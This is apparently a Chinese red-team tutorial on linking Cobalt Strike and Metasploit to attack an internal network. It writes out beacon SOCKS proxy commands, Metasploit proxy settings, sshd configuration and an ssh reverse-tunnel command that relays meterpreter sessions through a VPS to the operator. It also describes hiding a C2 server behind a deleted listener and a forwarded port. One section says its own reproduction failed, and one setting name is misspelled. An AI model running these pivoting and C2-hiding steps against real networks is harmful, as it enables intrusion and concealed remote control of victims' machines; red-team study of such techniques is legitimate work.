CobaltStrike+MetaSploit联动攻击
** 本文源于klion红队攻防揭秘 观后复现 **
重点
1,通过beacon内置socks,将msf带入目标内网
2,使用CS的外部tcp监听器,通过ssh隧道派生一个session到msf
3,使用msf的exp直接弹回一个beacon
4,灵活使用ssh隧道深度隐藏C2
通过beacon内置socks,将msf带入目标内网
** CS **
- beacon> getuid
- beacon> socks 1080
- msf **
- msf5 > setg Proxies socks4:XXX.XXX.XXX.XXX:1080 //设置代理
- msf5 > setg ReversseAllowProxy true //双向通道
现在就可以直接用msf的auxiliary模块扫描目标内网了
使用CS的外部tcp监听器,通过ssh隧道派生一个session到msf **
* 首先创建CS外部tcp监听器 *
* 然后到本地机器msf创建tcp监听器 *
* 随后,在vps机器上编辑sshd配置,开启ssh转发功能,重启ssh服务,这是所有使用ssh隧道转发前的必备操作。 *
# vi/etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
# systemctl restartsshd.service
* 回到本地linux中并通过ssh隧道做好ssh转发,意思就是通过vps把来自外部的8080端口流量全部转到本地linux的8080端口上,而本地linux的8080端口上跑的又正好是msf的监听器,所以,最终才会造成meterpreter本地上线的效果 *
# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.0.108:8080 root@xxx.xxx.xxx.xxx -p 22 //建立ssh隧道
> -C //压缩数据
> -f //运行在后台
> -N //不远程执行命令,对端口转发很有用
> -g //允许远程主机连接到本地转发端口
> -R //[bind_address:]port:host:hostport 端口及地址配置
# netstat -tulnp | grep '8080' //检查通道是否成功建立
* 最后,回到cs上选择目标内网指定机器的beacon shell 点击 “Spawn” 派生,再选择刚在上面创建好的tcp的外部监听器,相应目标机器的meterpreter就会被直接弹到本地,也可以选择批量操作 *
使用msf的exp直接弹回一个beacon
** 暂时复现失败 **
灵活利用ssh隧道深度隐藏C2
首先,创建一个普通的http 反向beacon监听器,并用该监听器生成一个64位的exe payload,随后再立即删除该监听器
然后本地开启ssh隧道转发,转发刚刚删除的监听器的端口。
本地启动cs服务,监听转发的端口,监听器与删除监听器配置相同。
当payload执行,本地服务上线。